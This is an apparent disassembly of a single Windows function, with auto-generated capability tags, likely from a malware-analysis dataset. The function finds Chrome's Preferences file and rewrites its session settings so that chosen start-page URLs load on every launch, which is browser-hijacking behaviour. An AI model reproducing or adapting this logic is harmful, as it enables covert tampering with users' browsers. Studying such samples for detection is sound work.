Function at 0x419700
Capabilities:
Check if file exists
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x462a80
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
push ebx
push ebp
push esi
mov eax, dword [0x47dac0]
xor eax, esp
push eax
lea eax, [esp + 0x5c]
mov dword fs:[0], eax
call fcn.004268df
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x419740
push 0x80004005
call fcn.00401820
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [esp + 0x14], esi
mov dword [esp + 0x64], 0
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, 0x104
or eax, ecx
jge 0x41977e
push 0x104
lea ecx, [esp + 0x18]
call fcn.004018a0
mov esi, dword [esp + 0x14]
push 0
push 0x1c
push esi
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test esi, esi
jne 0x419793
xor eax, eax
jmp 0x4197b5
mov eax, esi
lea edx, [eax + 2]
jmp 0x4197a0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4197a0
sub eax, edx
sar eax, 1
js 0x419b6c
cmp eax, dword [esi - 8]
jg 0x419b6c
push 0x2c
mov dword [esi - 0xc], eax
push str.GoogleChromeUser_DataDefaultPreferences
lea ecx, [esp + 0x1c]
mov word [esi + eax*2], 0
call fcn.0040b6c0
mov esi, dword [esp + 0x14]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x419813
lea ecx, [esp + 0x34]
call fcn.0043a690
push 0
push 0
push esi
lea ecx, [esp + 0x40]
mov byte [esp + 0x70], 1
call fcn.0043a6a6
test eax, eax
jne 0x419846
lea ecx, [esp + 0x34]
mov byte [esp + 0x64], al
call fcn.0043aa89
or ebp, 0xffffffff
mov dword [esp + 0x64], ebp
lea eax, [esi - 0x10]
lea ecx, [eax + 0xc]
lock xadd dword [ecx], ebp
dec ebp
test ebp, ebp
jg 0x419833
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x5c]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
call fcn.004268df
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x419860
push 0x80004005
call fcn.00401820
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x64], 2
call fcn.0043ac96
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x38]
mov byte [esp + 0x68], 3
call fcn.0043abbc
or ebp, 0xffffffff
test eax, eax
je 0x419a0f
mov bl, 4
mov edi, edi
mov eax, dword [esp + 0x10]
cmp dword [eax - 0xc], 0
jl 0x4199e6
push str._session_
push eax
call fcn.00448cc3
add esp, 8
test eax, eax
je 0x4199e6
sub eax, dword [esp + 0x10]
sar eax, 1
test eax, eax
jle 0x4199e6
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x28]
call fcn.0043ae84
mov ecx, dword [esp + 0x28]
push str._______restore_on_startup_:_4_
push ecx
lea ecx, [esp + 0x28]
call fcn.0043aeb9
mov edx, dword [esp + 0x28]
push str._______restore_on_startup_migrated_:_true_
push edx
lea ecx, [esp + 0x28]
call fcn.0043aeb9
lea eax, [esp + 0x1c]
push str._______urls_to_restore_on_startup_:____
push eax
mov ecx, edi
call fcn.00402120
push 0x46f9c0
push eax
lea ecx, [esp + 0x28]
push ecx
mov byte [esp + 0x78], bl
call fcn.00403590
add esp, 0x14
mov byte [esp + 0x64], 5
mov edx, dword [esp + 0x28]
push eax
push edx
lea ecx, [esp + 0x28]
call fcn.0043ae84
mov byte [esp + 0x64], bl
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, ebp
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41996a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x64], 3
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, ebp
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41998e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x38]
call fcn.0043abbc
test eax, eax
je 0x4199f9
mov eax, dword [esp + 0x10]
cmp dword [eax - 0xc], 0
jl 0x4199c6
push 0x46fa18
push eax
call fcn.00448cc3
add esp, 8
test eax, eax
je 0x4199c6
sub eax, dword [esp + 0x10]
sar eax, 1
test eax, eax
jg 0x4199da
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x38]
call fcn.0043abbc
test eax, eax
jne 0x4199a0
jmp 0x4199f9
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push eax
push ecx
jmp 0x4199f0
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x10]
push edx
push eax
lea ecx, [esp + 0x28]
call fcn.0043ae84
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x38]
call fcn.0043abbc
test eax, eax
jne 0x4198a0
lea ecx, [esp + 0x34]
call fcn.0043aa4d
lea ecx, [esp + 0x48]
call fcn.0043a690
push 0
push 1
push esi
lea ecx, [esp + 0x54]
mov byte [esp + 0x70], 6
call fcn.0043a6a6
test eax, eax
jne 0x419a8b
lea ecx, [esp + 0x48]
mov byte [esp + 0x64], 3
call fcn.0043aa89
lea ecx, [esp + 0x20]
mov byte [esp + 0x64], 2
call fcn.0043ad13
mov byte [esp + 0x64], 1
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
mov ecx, ebp
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x419a78
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x64], 0
call fcn.0043aa89
jmp 0x419816
mov eax, dword [esp + 0x28]
xor esi, esi
test eax, eax
jle 0x419b00
mov bl, 7
test esi, esi
jl 0x419b67
cmp esi, eax
jge 0x419b67
mov ecx, dword [esp + 0x24]
lea eax, [ecx + esi*4]
push 0x46baa4
push eax
lea edx, [esp + 0x24]
push edx
call fcn.00403590
add esp, 0xc
mov byte [esp + 0x64], bl
mov eax, dword [eax]
push eax
lea ecx, [esp + 0x4c]
call fcn.0043a875
mov byte [esp + 0x64], 6
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, ebp
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419af5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x28]
add esi, 1
cmp esi, eax
jl 0x419a97
lea ecx, [esp + 0x48]
call fcn.0043aa4d
lea ecx, [esp + 0x48]
mov byte [esp + 0x64], 3
call fcn.0043aa89
lea ecx, [esp + 0x20]
mov byte [esp + 0x64], 2
call fcn.0043ad13
mov byte [esp + 0x64], 1
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, ebp
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419b49
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x64], 0
call fcn.0043aa89
mov dword [esp + 0x64], ebp
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
jmp 0x41981d
jmp fcn.00426ed7
push 0x80070057
call fcn.00401820
int3